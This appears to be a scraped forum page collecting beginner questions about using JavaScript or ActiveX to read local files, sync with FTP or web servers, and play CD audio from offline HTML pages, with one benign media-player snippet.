We have a directory of files on our ftp server. Is there a javacript to
make a connection to the ftp server and compare files on a local drive
and on the server? Files that have been changed or added need to be
copied across from the ftp server to the local drive.
Is there a way to scan files on a local hard drive using Javascript? I'm trying to create a GUI for a program using html and js. As such the html files will only be accessed from the local machine using Firefox. I would like to avoid using server-side scripts, as I want to use this on a computer without server software installed. My overall objective is I want the javascript to scan all files (data plots I've made) in a directory on the local machine. The JS would create a list of possible dates based on which files were found, the user would then select the date which would then display the corresponding plot.

On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:

I have an html file I've built with embedded Javascript (using ActiveX) that successfully reads a file on my local hard drive when I run the html file through my web browser (IE) locally. However, when I copy the html page up to a webserver and access it through the internet, it doesn't appear to be reading the local file. I'm assuming this can't be done because of security reasons? Am I correct in that? Is there any way using Javascript/ ActiveX that you can get a webpage on the internet to access a file on the visitor's local drive?

View 1 Replies View RelatedI think I know the answer to this but I want to ask anyway. There are scores of pages on a particular website that I need to download so I can process them. They would all come down as XML files. I wrote a desktop app a while ago to do this but I was hoping to move this functionality to my website. This is an example of one of the pages I would download/copy:[URL]... A related question is... after I get all of these pages into a folder on my machine... I will need to point JQuery to the folder where they were copied and process each one. Does JQuery have a built in way to open a folder and capture all the files inside so they can be processed? I couldn't find anything like that.
View 2 Replies View RelatedI need to upload/read an xml from a local drive of any platform (linux, windows, mac) and synchronize it with my web server, which will then update my DB. Local xml file path is predefined and stored in my DB. This is part 1.Part 2, I will have to update the sync(ed) xml and replace the file on my local drive.Part 1 and part 2 will execute in sequence when the user click on a "Sync" button after logged in.Here is what I plan to use, PHP, MySQL, Javascript.What I know so far.1. Due to security reasons we cannot dynamically update the value of the input file type. So setting the known file location is not possible.I will like to know if there is anyway we can upload/read & overwrite a xml file without any middleware like adobe air that needs to be pre-installed to any of the platform to achieve what I plan to do?

View 2 Replies View RelatedI have the following JavaScript (see below). The script requests an XML file from the server and displays it on the page.The script works fine when the requested XML file is stored on the same server as the script.The problem is when I try requesting an XML file from an external server such as the National Weather Service. I get an error. If I take the XML file from the National Weather Service and save it to my server it works. Why can't I use my script to request XML files stored on external servers?

I have Win 7, IE9. I have a HTML file on my hard drive, with Javascript within. When I load the page, it keeps popping up Do u want to allow this content, I have to click to allow. I want to stop this, and after doing some searching I found the setting in Internet Options, Advanced - "Allow active content to run in files on my computer".
Perfect.
Doesnt work. When i check this box, the page loads without the warning, but then the Javascript just doesnt work. Getting quite annoying, because this file is my home page.
I need to make a page that will make a list of all the files in its folder and display the names of the files on the page. It needs to be able to work offline.
I know how to do this with php server side code, but this needs to be able to run on a memory stick. Is Javascript the best way to do this?
My files are not hosted on a server using http. They come with many sound files to practice vocabulary. The problem is that IE8 does not give me the opportunity to load xml course info, I suspect it is because Microsoft might think IE is for network use only (funny they don't think that when MS Word is concerned). Everything works fine in opera and firefox but IE does not give me a documentElemet after loading the xml. Here is some code to reproduce:
Code:
<html>

I've been working in VBA for quite some time, and would like to make some of my scripts available through a browser. One script will open a text file, parse it, and then commit the parsed results into an object. I can't for the life of me figure out how to do this task in js...
In VBA, the code would be something like:
Code:
A script to read the current roots directory or filenames-list into a Javascript array?
Some say it is only possible by calling a JAVA applet method and returning the array as a public variable for Javascript to use...if so, has anyone done it and can provide a sample?
I am only trying to read directories & image files offline, on the current root level or perhaps up a folder, so I hope there are no security access issues to deal with.
is there a way for me to know the location of the client's temporary internet files folder?

I have a web page (offline) that accesses the user's CD drive to play an audio file on a CD. It uses this routine:
<OBJECT id=player1 height=64 width=160 classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6>OBJECT>
</font><script type="text/javascript">
document.getElementById("player1").uiMode="full";
document.getElementById("player1").settings.autoStart=false;
document.getElementById("player1").settings.volume=50;
player1.URL=src="file:///"+YouWrote+":/Track01.cda";
</script>
That variable "YouWrote" (the CD Drive letter) is set by a cookie on the page - defaults to "D", but the user can change this, refresh the page, and access the audio in the correctly referenced drive.
Works well - if the page is resident in memory and refreshed if necessary.
My problem is if I put this page on a CD - that is, I want the page to load up from the CD drive - and there's only one drive - it doesn't work.
I can't seem to get the user to be able to choose the drive letter by setting the cookie (or even go with the default), then refresh the page, switch the CD with the Audio CD, and get Windows Media Player to find and play the Track01.cda file.
It chokes because the player says it can't play files with this extension. But it is obviously still thinking about the html file it loaded.
How do I disconnect the knowledge of the loadup CD in Windows Media Player's mind (assuming anything Windows has a mind)? Is there some obvious logical procedure I should follow and/or for the js script?

I'm have some images on a site that I want a user to download to their sdcard.i have urls for the images and i have a webpage with a button.when the user clicks the button, i want it to download those images to an sdcard in their pc (hopefully they can select where using a windows open file type box).i think this may be quite difficult due to security with browsers and Iv looked into activex object (but cant get it to save to my filesystem).if this cant be done, perhaps i could do it on the server-side using php and have the user use filezilla to download the images. obviously this is not a very elagant solutio

I have a photo editing business with many people working in Photoshop. I am currently developing a web based application (joblist) using Javascript and PHP which should allow the photoshop designers to browse and open files/images directly from joblist/web browser into photoshop. The reason I want this instead of browsing folder is that I have a database where I store who worked on which file, when and how long it took. The concept is that, designers will select a file and click on start, as soon as they click on start the original file will open in Photoshop and there will be an entry into database (using PHP).
Once they finish the task they will close the file and click on Finish button. My joblist application will be published in a local server and the file will be open on a local network, so when they save the file it will be saved where the source file is located in (local server). The application should work in both PC and Mac. How to write the code (PHP or Javascript) which can open the file from browser (local server) directly into desktop application e.g. PHotoshop or Illustrator?
I have to create a web page to give to clients that is shipped on CD.
The idea is that they would open the page and it would display in their
web browser.
What this will do is to provide a list of most recent changes to the
software we're shipping. The idea is that there would be an un-ordered
list <ul/> with a list of changes (not sure of final desired mark-up).
What we want to do is to get the developers to edit a file that simply
contains a list of changes, putting in minimal markup. This "changes"
file would then be "included" in some way into a parent file that
contains all the branding and other information. We don't want the
developers to have to navigate their way around this parent file
looking for where to edit it.
As this page will be launched in a browser from disk, there won't be
any help provided by a web server, so I'm really stumped as to how to
accomplish this....could it be done with JavaScript at all?
